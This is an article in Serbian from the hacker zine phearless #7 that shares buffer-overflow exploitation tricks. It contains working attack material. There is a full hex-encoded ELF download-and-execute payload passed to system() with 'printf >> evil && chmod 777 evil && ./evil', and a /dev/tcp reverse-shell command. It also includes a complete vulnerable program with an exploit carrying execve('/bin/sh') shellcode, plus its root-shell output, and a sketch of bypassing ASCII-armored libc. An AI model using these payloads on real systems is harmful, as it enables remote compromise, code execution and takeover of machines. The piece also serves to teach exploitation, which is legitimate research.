Copy Link
Add to Bookmark
Report
7x08 exploitation_chitchat
...................
...::: phearless zine #7 :::...
................>------------[Exploitation chitchat ]------------<..............
............................>------[ by ea ]------<.............................
-Sklonite se krave, jer zivot je kratak!
-Aurelijano Segundo
Ok, evo mene opet. Tolko sam menjao nickove da me se mozda i ne secate,
(EArthquake, Wintermuth), sad sam samo ea, dosadilo mi ostalo:). Ovaj put nemam
neku posebnu temu koju obradjujem vec samo zelim da podelim neke interesantne
stvarcice vezane za eksploitaciju bugova. Nemam sad bas preterano vremena za
full bown tekst o necemu, mada radim na nekim stvarima, ali to verovatno nece
biti do jeseni( /me se igra sa x86_64 arch:)). Ovaj tekst sam zamislio
jednostavno kao nabacane parcice nekih ideja i sl. Mislim, nisam ja neki
preterano iskusni koder, ali imam tu par idejica koje su pojedini ljudi lepo
prihvatili, pa reko sto da ih ne podelim s ostatkom sveta, kad vec nisu nista
epohalno:).
Uglavnom, krajnje je vreme bilo da izadje ovaj novi phearless, e sad,
ja sam sad maturirao i za matruski sam raido zaobilazenje BOF zastita na
Openwall-u pa mi je ideja bila da to ide u zine. Ali, u tom radu sam
zaobilazio non exec stek naravno i ascii armored libc adrese. Kako sam vec
pisao o ret2lib tehnici za zaobilazenje non exec steka nema svrhe da opet
obradjujem istu stvar. Zaobilazenje ascii armored libc adresa sam radio vrlo
prosto , tako da ne ide da ceo tekst pisem o tome. Ovde cu samo objasniti
princip koji je inace poznat, nisam izmislio nista novo, no red je da ga
pomenem vec.
ASCII armored libc - zaobilazenje
Fora kod ascii armored libc adresa jeste to sto su sve mapirane
na adrese koje sadrze NULL bajt. E sad, kako je i do sada bilo problema sa
NULL bajtovima u shellcodeovima, ne trebaju nam ni sad. I kad bi pokusali da
napravite ret2libc sa nekom funkcijom koja ima 0x00 u adresi nebi uspelo, string
vam se prerano terminira, vrlo prosto, i jako lepo resenje. E sad, naravno postoji
resenje i za ovo resenje:).
Svi znamo sta je PLT (ako ne , ELF specs is a way to go). Anywayz,
koristio sam unos za strcpy() funkciju u PLT da bih upisao te NULL bajtove.
Fora je je vrlo prosta, prvi argument strcpy funkcije jeste adresa na koju upisujete NULL
a drugi argument je adresa nekog NULL bajta bilo gde, moze recimo NULL bajt koji terminira vas string...
Naravno, za to koristitite frame faking tehniku za vezivanje vise libc poziva.
Frame faking sam takodje vec obradio u starom tekstu o ret2libc tehnici.
Kao sto sam rekao, nista posebno, maturski za gimnaziju, nije mi ni
trebalo bolje. Fora bi bila da Openwall ima ASLR, ali je josuvek na 2.4 kernelu.
To bi zakomplikovalo stvari. Ali ima i tu resenja (bez bruteforce:)). Tolko o tome
idemo dalje.
ret2libc ideja:
Anywayz, na nekom forumu sam video pitanje o ret2libc exploitima.
Tacnije o tome sta proslediti system() funkciji kad vec exploitatie. Znate
osnovu ret2libc exploita verovarno, ako ne imate moj tekst u nekom od
prethodnih brojeva koji to pojasnjava. Dakle pitanje je sta dati kao argument
system() funkciji (man system za objasnjenje). Naravno, mislilo se na remote
exploite pa je bila potrebna neka vrsta port binda ili reverse shella. Jedan
od ogranicavajucih faktora je to sto bi bili ograniceni na programe koji se
nalaze na svim distroima. Dakle nema wget , nema perl , nista slicno.
E, to je star topic bio, u medjuvremenu se na netu pojavi CodeCrunchers
mailing lista. Tu je bilo mnogo ludaka , mastera asemblera i platformi na
kojima rade, koji su se takmicili koji ce da napravi manji fajl koji ce da
radi 2 stvari. Da skine program s interneta i da ga pokrene lokalno. Naravno,
fora je bila da programce ne koristi neke vec postojece programe, odjerjene
APIe, da ne bude u nekom skriptnom jeziku... U poslednje vreme sam prestao
da pratim listu, tako da neznam do koliko su bajtova stigli, ali su se
programcici u tom trenutku kretali oko 200kb. Tada mi je pala jedna ideja
na pamet. Zasto ja nebi system() funkciji prosledio ceo taj program kao string
, upisao ga u fajl i onda ga pokrenuo.
Divna stvar kod system() je sto on sve sto mu date pokrece kroz vas shell.
Sto znaci da vaze sve fore koje koristite i kod rada u shellu. Pajpovi za
preusmeravanje outputa ( >>, << , | ...) , pokretanje programa "u pozadini" (&),
, vezivanej vise komandi (;)... Divota. To bi izgledalo otprilike ovako:
printf "bajtovi programaaaaaaaa" >> evil && chmod 777 evil && ./evil
Na gore pomenutoj listi sam nasao na Izikov programcic pinky, on je bio
jedini za linux. Posto sam jako lenj, mrzelo me je cak i da ga menjam
iako je izik dao pun source, ali to sada nije bitno. Usled moje lenjosti,
a i manjka vremena za ovo, nisam napisao demo exploit ili bilo sta slicno.
mate priliku da vidite samo primer kako bi to izgledalo.Sve to izgleda
otprilike ovako:
[code]
main()
{
system("printf \"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x74\\x80\\x04\\x08\\x34\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x04\\x08
\\x00\\x80\\x04\\x08\\x29\\x01\\x00\\x00\\x29\\x01\\x00\\x00\\x05\\x00\\x00\\x00
\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x6a\\x66\\x58\\x99\\x6a\\x01\\x5b\\x52\\x53\\x6a\\x02\\x89
\\xe1\\xcd\\x80\\x5b\\x5d\\x68\\x52\\xa5\\xb5\\x77\\x66\\xbd\\xaf\\xff\\x66\\xf7\\xd5
\\x0f\\xcd\\x09\\xdd\\x55\\x43\\x6a\\x10\\x51\\x50\\xb0\\x66\\x89\\xe1\\xcd\\x80
\\x5f\\xb0\\x08\\x52\\x68\\x79\\x6f\\x79\\x6f\\x89\\xe3\\x6a\\x2a\\x59\\xcd\\x80\\x89
\\xc6\\x87\\xdf\\x68\\x0d\\x0a\\x0d\\x0a\\x68\\x2e\\x6f\\x72\\x67\\x68\\x74\\x79
\\x36\\x34\\x68\\x77\\x77\\x2e\\x74\\x68\\x74\\x3a\\x20\\x77\\x68\\x0a\\x48\\x6f
\\x73\\x68\\x31\\x2e\\x31\\x0d\\x68\\x54\\x54\\x50\\x2f\\x68\\x61\\x72\\x20\\x48
\\x68\\x66\\x6f\\x6f\\x62\\x68\\x2f\\x2f\\x2f\\x2f\\x68\\x47\\x45\\x54\\x20\\xb2\\x30
\\xb0\\x04\\x89\\xe1\\xcd\\x80\\x99\\x42\\x49\\xb0\\x03\\xcd\\x80\\x81\\x39\\x0a
\\x0d\\x0a\\x0d\\x75\\xf3\\xb2\\x04\\xb0\\x03\\xf8\\xcd\\x80\\x87\\xde\\x72\\xf7
\\x85\\xc0\\x74\\x05\\xb0\\x04\\xf9\\xeb\\xf1\\xb0\\x06\\xcd\\x80\\x99\\xb0\\x0b
\\x89\\xfb\\x52\\x53\\xeb\\xcc\" >> evil && chmod 777 evil && ./evil");
}
[/code ]
ovo ce da napravi evil fajl sa ovim bajtovima, da mu promeni dozvole, i da ga
pokrene, a on ce da skine sa izikovog sajta drugi programcic koji kaze hello world
cini mi se. Naravno, na isti nacin mozete da pokrenete bilo koji program, jedini
ogranicavajuci faktor jeste duzina stringa.
ret2libc ideja (jos jedna):
E ovo je opsana ideja, nije moja doduse, ali mi se bas svidja. Rec je o
nekoj vrsti reverse connect shella. Radi na sledeci nacin. Prvo bindujete lokalno
nc-om dva porta, recimo 4321 i 1234. A onda kao parametar system() funkciji u
exploitu prosledite ovo:
sh < /dev/tcp/192.168.0.1/4321 > /dev/tcp/192.168.0.1/1234
Dakle ,
system("sh < /dev/tcp/192.168.0.1/4321 > /dev/tcp/192.168.0.1/1234").
I kada se system() izvrsi , dobili ste reverse shell. U jedan nc bind
kucate komande, a u drugi dobijate output. Mnogo jaka fora. Nasao sam je u
tekstu Sebastiana Krahmera.
Small buffer overflow idea:
Recimoda imate overflow u nekom jako malom bufferu. EIP bi trebalo
preusmeriti na adresu shellcodea. Kad se radi o lokanoj exploitaciji moze se
naravno koristiti promenljiva okruzenja, sto je uglavnom preporucljivo i najlakse.
Ali sta ako se radi o remote exploitaciji? Imas jako mali buffer i ne mozes u
njega da stavis shellcode. Morao bi da se koristi neki egghunt shelcode ili sta
vec. U sustini ideja nije nista preterano ali nema lose ako je pomenem.
Jednostavno, na pocetku buffera se stavi bezuslovni jump na adresu odmah iza
adrese na kojoj se nalazi EIP. Takos e buffer sastoji iz te jump instrukcije,
junk-a koji je potreban da se popuni buffer, adrese kojom se prepisuje EIP i
samog shellcodea. To izgleda ovako nekako:
hamato:~/stack# cat vuln.c
int main(int ac, char **av)
{
char buf[4];
if(ac == 1)
return 1;
strcpy(buf, av[1]);
return 0;
}
hamato:~/stack# cat exploit.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#define JMP "\xeb\x0app"
/*
* (linux/x86) execve("/bin/sh", ["/bin/sh", NULL]) / PUSH - 23 bytes
* - izik <izik@tty64.org>
*/
#define SHELLCODE \
"\x6a\x0b" \
"\x58" \
"\x99" \
"\x52" \
"\x68\x2f\x2f\x73\x68" \
"\x68\x2f\x62\x69\x6e" \
"\x89\xe3" \
"\x52" \
"\x53" \
"\x89\xe1" \
"\xcd\x80"
int main(int ac, char **av)
{
char buffer[]=
JMP
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
SHELLCODE;
char *argv[] = { "./vuln", buffer, NULL };
long offset = 0;
if(ac > 1)
offset = atol(av[1]);
*((long *)buffer+1) = 0x41414141;
*((long *)buffer+2) = 0xbffffec8 + offset;
execve(argv[0], argv, NULL);
return 0;
}
hamato:~/stack# ./exploit 0
sh-2.05a# exit
exit
hamato:~/stack#
Isto kao kad ste ranije kod heap exploita morali da stavljate jump preko
dela koji biva prepisan nekom adresom. To me je podsetilo , marcetam (secate se
njega, bilo je skroz ok pricati s njim, a pozdrav njemu ako cita ovo) mi je
jednom rekao da ne mora uvek da se preskace taj deo. Ako se dobro secam, ako se
na tom mestu postavlja adresa sa heap-a (sto bi znacilo da je negde oko
0x0804...), onda se ne mora preskakati , jer se te adrese mogu interpretirati kao
validan bytecode (ako sam u pravu obicno addl ili tako nesto, mrzi me sad da
proveravam) koji nema nekog efekta na dalji tok shellcodea. Mada, opet, zasto
rizikovati, bolje je staviti taj jump i biti siguran da radi. Kad smo vec kod
toga, to vise nije ni bitno jer unlink tehnika exploitanja heap overflowa ne radi
na novim glibc implementacijama tako da je ova prica cisto gubljenje vremena:).
U medjuvremenu, dok je ovo pisano (poceo sam s ovim kad je bio naznacen
prvi deadline:)) izdesavale su se neke stvari pa bi bio red da pomenem po nesto.
Heheh, kao grom iz vedra neba, izadje phrack novi. Niko ga nije ni primetio.
Nova ekipa, doduse nisu TESO, ali je kewl, i dosta se u celom phracku oseca taj
"duh" o kom govore. Obratite paznju posebno na onaj tekst o kernel eksploitima.
Kad sam vec kod kernel eksploita, Ilja van Sprundel je na CCC ove godine odrzao
prezentaciju Unusual Bugs, pogledajte je , jako je dobra.
Bacite pogled na ovo http://www.sabre-security.com/files/schannel.swf.
Zgodna stvarcica, a? Bilo bi lepo kad bi to neko leakovao. Spominjao je neko da ima
al ja nigde nisam naisao. Guess i`m not leet enough:). Ima kewl tih stvarcica koje
kostaju mnogo, recimo IDA PRO 5.1 , bacite pogled na Ilfakov blog ponekad,
Decompilation gets real, prilicno interesantno.
Heto bih jos da pomenem neke ljude. Bacite pogled na hackaholic.org, ima
kewl ljudi ciji su sajtovi hostovani tamo pored samog hackaholic sajta i foruma.
Posebno infamous41mdov sajt recimo, minimalisticki dizajn sa interesantnim stvarima:)
Kad sam se zamlacivao nesto s IR naleteo sam na sploitcast.com. To sam gledao Major
Mallfunctionovu prezentaiju na CCC, Old Skewl Hacking , ultra kewl , obavezno
pogledajte. Elem, ovi na sploitcast su imali intervju s njim. Elem, gledajuci po
sajtu video sam da imaju i neke izazove s nagradnom igrom, nagrada je knjiga po zelji
iz Syngress biblioteke, a postavljaju novi izazov svake nedelje. Ja sam osvojio
jedan. Obicno nisu preterano teski,ali vas neko pretekne, ali ima i jopsuvek neresenih:).
Uzeo sam RFID Security knjigu, i moram priznati da sam pogresio, knjiga je isuvise uopstena,
nema bas mnogo tehnickih podataka, a kamoli neceg konkretnog, pisana je gotovo kao ovaj moj
tekst. Ali ok je za uvod u RFID tehnologije i problematiku, mozda bude nesto od mene
na tu temu ako nabavim neku opremu:).
Bacite pogled i na www.awarenetwork.org. To su skroz ok ljudi (too much technology,
in too little time. And little by little ... we went insane. - kako se ja nisam
setio ovog slogana:)). Oni su skorije poceili da objavljuju .aware zajn, za sada samo
jedan broj, ali je otvoren CFP za sledeci. Ima interesantnih stvari , pogledajte.
zshzn me je cak ubedjivao da bi bilo kewl da prevodimo phearless tekstove na
engleski. I ja mislim da to nebi bilo lose ali je prakticno nemoguce da se ocekuje
da to radi editor, ili pak bilo ko osim autora teksta.
I think that whomever wants to read some article form a zine on english should
mail the autor asking for a translation. I`d be the first one to do it,the
translation of my articles that is:).
Tol`ko za ovaj put.
E da, jos jedna stvar, nikada nemojte da radite regex-e u C-u, osim ako bas morate!